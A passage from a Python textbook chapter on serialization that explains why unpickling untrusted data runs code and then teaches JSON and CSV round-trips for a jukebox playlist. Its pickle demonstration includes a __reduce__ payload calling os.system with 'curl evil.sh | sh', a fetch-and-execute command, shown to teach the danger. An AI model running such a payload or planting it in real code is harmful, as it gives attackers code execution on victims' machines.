Recall what the last section proved: unpickling is a program running on the pickle VM. And that VM has an opcode whose entire job is to call an arbitrary Python callable. It comes from the reconstruction protocol. When the pickler needs to serialize an object, it asks the object (or its type) for a reduce value via __reduce__ — conventionally a tuple (callable, args) meaning "to rebuild me, call callable(*args)." For a normal class that's something benign like (copyreg._reconstructor, (Song, object, None)). The unpickler obeys literally. The REDUCE opcode pops a callable and an argument tuple off the stack and invokes the callable. The callable itself is named in the stream by module and qualname, then resolved at load time by GLOBAL/STACK_GLOBAL, which is effectively import module; getattr(module, name).

Nothing anywhere restricts that callable to a harmless constructor. A malicious object can define __reduce__ to return any callable and any arguments, and the unpickler will faithfully run it:

import pickle, os

class Exploit:
    def __reduce__(self):
        # "to rebuild me, call os.system('...')"
        return (os.system, ("echo pwned; curl evil.sh | sh",))

payload = pickle.dumps(Exploit())
# ...anywhere this payload is later loaded:
pickle.loads(payload)   # runs os.system BEFORE you inspect anything

When the victim calls pickle.loads(payload), the REDUCE opcode calls os.system with the attacker's string. It runs on the victim's machine, with the victim's privileges, before a single field of the "data" is ever examined. Swap os.system for subprocess.Popen, or eval, or __import__, and the shape is identical. There is no sandbox: the C unpickler resolves globals against the real, fully-powered interpreter. This is why the official docs carry a rare blunt warning box, and why "pickle deserialization" is a whole CVE category rather than a style nit.

Here is the payoff, and it is the deepest idea in the chapter: the rule follows from the mechanism. A format whose deserializer can call any callable is, by definition, a code-execution format. So the correct statement is not "be careful with pickle." It is "never unpickle bytes you did not produce and cannot cryptographically prove you produced." Mitigations are only partial. You can subclass Unpickler and override find_class to allow-list a handful of safe globals. But allow-listing is easy to get subtly wrong, and a single overlooked callable reopens the door. You can HMAC-sign your own pickles to prove provenance. That's good practice, but it only helps for a trust boundary you control on both ends.

And now section 3's "limitation" reveals itself as a security guarantee. JSON's parser is a pure pushdown automaton. It pushes brackets, reads strings, builds dicts and lists, and that is the entire instruction set. It has no opcode that can call your code, because it has no notion of your code at all. The smaller value model you resented in section 3 is precisely what makes json.loads safe on hostile input: it can produce a wrong dict, never a running process. Safety and expressiveness are the two ends of the same bargain.

So: pickle is out across any boundary you don't fully own, and JSON refuses your Song outright. You need a durable, safe, human-readable, cross-language way to store your own classes. Next: the dict-bridge — a projection you write, control, and can see every lossy decision inside. →

07The dict-bridge for your own classes

You've rejected pickle across any trust boundary and embraced JSON's safety. But JSON refuses your Song outright. A user-defined instance's state lives in __dict__ as arbitrary Python objects — a nested Song, a set, a datetime — that JSON's six types don't cover. And its type identity, the class itself, isn't part of JSON at all. You need a durable, safe, human-readable, cross-language way to persist your own objects. The answer is the pattern the whole capstone leans on, and it is deliberately hand-written: a to_dict/from_dict bridge you own, so nothing is quietly lost and every field's projection is a decision you can see.

to_dict walks the instance's fields and projects each one down onto the JSON value model. Strings, ints, floats, bools, and None pass straight through. A nested Song calls its own to_dict. That recursion mirrors the object graph exactly, the same recursive descent the pickler and the JSON encoder both do. A set becomes a sorted list, a datetime becomes an ISO-8601 string, and bytes become base64. The result is a plain dict whose every leaf is one of the six safe types. So json.dumps now succeeds, because there is nothing left it doesn't recognize.

from datetime import datetime

class Song:
    def __init__(self, title, artist, tags, released):
        self.title = title            # str  — JSON-safe
        self.artist = artist          # Song — nested, recurse
        self.tags = tags              # set  — no JSON type
        self.released = released       # datetime — no JSON type

    def to_dict(self):
        return {
            "version": 1,
            "title": self.title,
            "artist": self.artist.to_dict(),          # recursion mirrors the graph
            "tags": sorted(self.tags),                 # lossy on purpose: set → ordered list
            "released": self.released.isoformat(),      # datetime → ISO string
        }

    @classmethod
    def from_dict(cls, d):
        return cls(                                   # calls YOUR constructor — invariants run
            title=d["title"],
            artist=Song.from_dict(d["artist"]),        # inverse recursion
            tags=set(d["tags"]),                     # list → set, restored
            released=datetime.fromisoformat(d["released"]),
        )

from_dict is the exact inverse, and it is a classmethod for a reason. It allocates a fresh instance by calling the real constructor, so __init__'s invariants run and you get a genuine Song, not a bare dict wearing a Song's data. It re-establishes type, the thing JSON threw away. And it does so safely in the exact way pickle is not. from_dict calls only the constructors you named in your code, never an arbitrary callable pulled from the byte stream. A hostile JSON file can, at worst, hand you a wrong-but-typed Song. It can never execute code, because there is no opcode in the JSON grammar to execute and no REDUCE in your bridge to obey it.

# playlist_json.py -- the jukebox playlist, out to a JSON file and back as real Tracks
import json
from dataclasses import dataclass, asdict, fields
from pathlib import Path

DB = Path("playlist.json")


@dataclass
class Track:                                     # chapter 12's class, unchanged
    title: str
    artist: str
    seconds: int
    plays: int = 0

    def __str__(self):
        minutes, secs = divmod(self.seconds, 60)
        return f"{self.title} - {self.artist} ({minutes}:{secs:02d})  played {self.plays}x"


playlist = [Track("Blinding Lights", "The Weeknd", 200, 3),
            Track("Titanium", "David Guetta", 245),
            Track("Levels", "Avicii", 203, 1)]

# ---------- out: one dataclass -> one dict, then one file ----------
row = asdict(playlist[0])                        # dataclasses does the walk for you
print("asdict     :", row)
print("field names:", [f.name for f in fields(Track)])

payload = {"version": 1, "tracks": [asdict(t) for t in playlist]}
with open(DB, "w", encoding="utf-8", newline="\n") as f:
    json.dump(payload, f, indent=2)
print("written    :", DB.stat().st_size, "bytes to", DB.name)

print()
print("--- the file itself ---")
print(DB.read_text(encoding="utf-8"))
print("-----------------------")

# ---------- the process ends here; everything in RAM is gone ----------
del playlist

# ---------- back in: dicts -> Tracks, through the real constructor ----------
with open(DB, "r", encoding="utf-8") as f:
    data = json.load(f)
print("version    :", data["version"], "| rows:", len(data["tracks"]))
print("a row is a :", type(data["tracks"][0]).__name__, "- not a Track, not yet")

restored = [Track(**row) for row in data["tracks"]]     # ** unpacks dict -> arguments
print("rebuilt    :", len(restored), type(restored[0]).__name__, "objects")
for t in restored:
    print("   ", t)
print("round trip :", restored == [Track("Blinding Lights", "The Weeknd", 200, 3),
                                   Track("Titanium", "David Guetta", 245),
                                   Track("Levels", "Avicii", 203, 1)])
print("plays kept :", restored[0].plays, "- the count outlived the process that made it")
DB.unlink()

asdict     : {'title': 'Blinding Lights', 'artist': 'The Weeknd', 'seconds': 200, 'plays': 3}
field names: ['title', 'artist', 'seconds', 'plays']
written    : 366 bytes to playlist.json

--- the file itself ---
{
  "version": 1,
  "tracks": [
    {
      "title": "Blinding Lights",
      "artist": "The Weeknd",
      "seconds": 200,
      "plays": 3
    },
    {
      "title": "Titanium",
      "artist": "David Guetta",
      "seconds": 245,
      "plays": 0
    },
    {
      "title": "Levels",
      "artist": "Avicii",
      "seconds": 203,
      "plays": 1
    }
  ]
}
-----------------------
version    : 1 | rows: 3
a row is a : dict - not a Track, not yet
rebuilt    : 3 Track objects
    Blinding Lights - The Weeknd (3:20)  played 3x
    Titanium - David Guetta (4:05)  played 0x
    Levels - Avicii (3:23)  played 1x
round trip : True
plays kept : 3 - the count outlived the process that made it

The bridge is also honest about loss, which is the whole point of writing it by hand. Because you author the projection, tuple-versus-list, set ordering, and datetime precision are visible choices in your code. They are not silent surprises the encoder made for you. If sorting the tags loses their original order, that loss is right there in sorted() where a reviewer can see it. It is not buried in a round-trip three modules away. This is the "no silent simplification" rule made concrete: every lossy step is labelled at the site where it happens.

Traceback (most recent call last):
  File "load_settings.py", line 5, in <module>
    settings = json.load(f)                       # ...and the cursor is now at EOF
               ^^^^^^^^^^^^
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

Traceback (most recent call last):
  File "save_playlist.py", line 8, in <module>
    json.dump(playlist, f)
ValueError: Circular reference detected

Traceback (most recent call last):
  File "read_cache.py", line 4, in <module>
    tracks = pickle.load(f)      # the file is fine; the module moved
             ^^^^^^^^^^^^^^
ModuleNotFoundError: No module named 'store'

This convention scales. Give every serializable class the same to_dict/from_dict pair, let nested objects recurse into each other, stamp a version, and you have a store that survives process death (section 1's wall), crosses language boundaries (JSON's whole reason to be small, section 3), never mis-handles a float you didn't guard (section 4), and never trusts bytes to run code (section 6). It is strictly more work than pickle.dumps, and that work is the safety and the durability. This is exactly what the capstone uses to save and reload its library between runs.

# csv_report.py -- the same playlist as a spreadsheet, and one number computed from it
import csv
from dataclasses import dataclass, asdict, fields
from pathlib import Path

REPORT = Path("playlist.csv")


@dataclass
class Track:
    title: str
    artist: str
    seconds: int
    plays: int = 0


playlist = [Track("Blinding Lights", "The Weeknd", 200, 3),
            Track("Sing, Sing, Sing", "Benny Goodman", 512, 2),
            Track("Titanium", "David Guetta", 245),
            Track("Levels", "Avicii", 203, 1)]

COLUMNS = [f.name for f in fields(Track)]

# ---------- out: one Track per row ----------
with open(REPORT, "w", newline="", encoding="utf-8") as f:
    w = csv.DictWriter(f, fieldnames=COLUMNS)
    w.writeheader()
    for t in playlist:
        w.writerow(asdict(t))
print("columns   :", COLUMNS)
print("written   :", REPORT.stat().st_size, "bytes")
print()
print("--- the file itself ---")
print(REPORT.read_text(encoding="utf-8"), end="")
print("-----------------------")

# ---------- back in: every cell arrives as text ----------
with open(REPORT, "r", newline="", encoding="utf-8") as f:
    rows = list(csv.DictReader(f))

print()
print("row 0     :", rows[0])
print("seconds is:", type(rows[0]["seconds"]).__name__, "- csv has no types, so you convert")

restored = [Track(r["title"], r["artist"], int(r["seconds"]), int(r["plays"]))
            for r in rows]
print("rebuilt   :", len(restored), type(restored[0]).__name__, "objects")
print("round trip:", restored == playlist)

# ---------- the aggregate: what a report is for ----------
total = sum(t.seconds * max(t.plays, 1) for t in restored)
minutes, secs = divmod(total, 60)
print()
print(f"listening : {minutes}:{secs:02d} across {len(restored)} tracks")
print("most played:", max(restored, key=lambda t: t.plays).title)
print("comma title:", restored[1].title, "- survived a comma-delimited file")
REPORT.unlink()

columns   : ['title', 'artist', 'seconds', 'plays']
written   : 152 bytes

--- the file itself ---
title,artist,seconds,plays
Blinding Lights,The Weeknd,200,3
"Sing, Sing, Sing",Benny Goodman,512,2
Titanium,David Guetta,245,0
Levels,Avicii,203,1
-----------------------

row 0     : {'title': 'Blinding Lights', 'artist': 'The Weeknd', 'seconds': '200', 'plays': '3'}
seconds is: str - csv has no types, so you convert
rebuilt   : 4 Track objects
round trip: True

listening : 34:32 across 4 tracks
most played: Blinding Lights
comma title: Sing, Sing, Sing - survived a comma-delimited file

You now hold the whole machine: flatten the graph to values and structure, choose your bargain — universal-and-safe or Python-complete-and-dangerous — and own every lossy seam. The next chapter carries this across a different border: not disk, but the wire, where bytes cross between machines that share nothing at all. →

# jukebox_store.py -- chapter 15's jukebox, re-cut in JSON: the delimiter bug is over
import json
from dataclasses import dataclass, asdict
from pathlib import Path

DB = Path("jukebox.json")
VERSION = 1


@dataclass
class Track:                                     # ch 12's dataclass, still unchanged
    title: str
    artist: str
    seconds: int
    plays: int = 0

    def __str__(self):
        minutes, secs = divmod(self.seconds, 60)
        return f"{self.title} - {self.artist} ({minutes}:{secs:02d})  played {self.plays}x"


def save(tracks, path=DB):
    """Whole library, one JSON document. Returns how many tracks landed."""
    payload = {"version": VERSION, "tracks": [asdict(t) for t in tracks]}
    with open(path, "w", encoding="utf-8", newline="\n") as f:   # ch 17: name the codec
        json.dump(payload, f, indent=2, ensure_ascii=False)
    return len(tracks)


def load(path=DB):
    """JSON back into Track objects. A broken file is reported, never guessed at."""
    if not path.exists():                        # first ever run: nothing to load
        return []
    with open(path, "r", encoding="utf-8") as f:
        try:
            payload = json.load(f)
        except json.JSONDecodeError as e:         # ch 13's discipline, ch 18's offset
            print(f"  {path.name} is not valid JSON: {e.msg} at char {e.pos}")
            return []
    if payload.get("version") != VERSION:
        print(f"  version {payload.get('version')} file, this code speaks {VERSION}")
    return [Track(**row) for row in payload["tracks"]]


# ---------- run 1: build it in RAM, play one, save it ----------
playlist = [
    Track("Blinding Lights", "The Weeknd", 200),
    Track('Sing, Sing, Sing | "Live"', "Benny Goodman", 512),   # the ch-15 killer row
    Track("Björk — Jóga", "Björk", 302),                        # the ch-17 killer row
]
playlist[0].plays += 1                                          # somebody pressed play
print("in memory :", len(playlist), "tracks")
for t in playlist:
    print("   ", t)
print("saved     :", save(playlist), "tracks ->", DB.name)

print("--- what is actually on disk ---")
print(DB.read_text(encoding="utf-8"))
print("-------------------------------")

# ---------- the process ends here. Everything in RAM is gone. ----------
del playlist

# ---------- run 2: a fresh program, loading from the file ----------
restored = load()
print("loaded    :", len(restored), "tracks, rebuilt as", type(restored[0]).__name__, "objects")
for t in restored:
    print("   ", t)
print("plays kept:", restored[0].plays, "- the play survived the process")
print("round trip:", restored == [
    Track("Blinding Lights", "The Weeknd", 200, 1),
    Track('Sing, Sing, Sing | "Live"', "Benny Goodman", 512),
    Track("Björk — Jóga", "Björk", 302),
])

# ---------- the line that chapter 15 could not hold ----------
print()
print("ch 15 wrote:", "Sing, Sing, Sing | \"Live\"|Benny Goodman|512|0")
print("            -> line 4 skipped: too many values to unpack (expected 4)")
print("ch 18 holds:", repr(restored[1].title))
print("commas, pipes, quotes, accents  ->", restored[1].title == 'Sing, Sing, Sing | "Live"')

# ---------- and what a corrupt file does now ----------
DB.write_text('{"version": 1, "tracks": [{"title": "x",}]}', encoding="utf-8")
print()
print("corrupt   :", len(load()), "tracks")
DB.unlink()

in memory : 3 tracks
    Blinding Lights - The Weeknd (3:20)  played 1x
    Sing, Sing, Sing | "Live" - Benny Goodman (8:32)  played 0x
    Björk — Jóga - Björk (5:02)  played 0x
saved     : 3 tracks -> jukebox.json
--- what is actually on disk ---
{
  "version": 1,
  "tracks": [
    {
      "title": "Blinding Lights",
      "artist": "The Weeknd",
      "seconds": 200,
      "plays": 1
    },
    {
      "title": "Sing, Sing, Sing | \"Live\"",
      "artist": "Benny Goodman",
      "seconds": 512,
      "plays": 0
    },
    {
      "title": "Björk — Jóga",
      "artist": "Björk",
      "seconds": 302,
      "plays": 0
    }
  ]
}
-------------------------------
loaded    : 3 tracks, rebuilt as Track objects
    Blinding Lights - The Weeknd (3:20)  played 1x
    Sing, Sing, Sing | "Live" - Benny Goodman (8:32)  played 0x
    Björk — Jóga - Björk (5:02)  played 0x
plays kept: 1 - the play survived the process
round trip: True

ch 15 wrote: Sing, Sing, Sing | "Live"|Benny Goodman|512|0
            -> line 4 skipped: too many values to unpack (expected 4)
ch 18 holds: 'Sing, Sing, Sing | "Live"'
commas, pipes, quotes, accents  -> True

  jukebox.json is not valid JSON: Expecting property name enclosed in double quotes at char 40
corrupt   : 0 tracks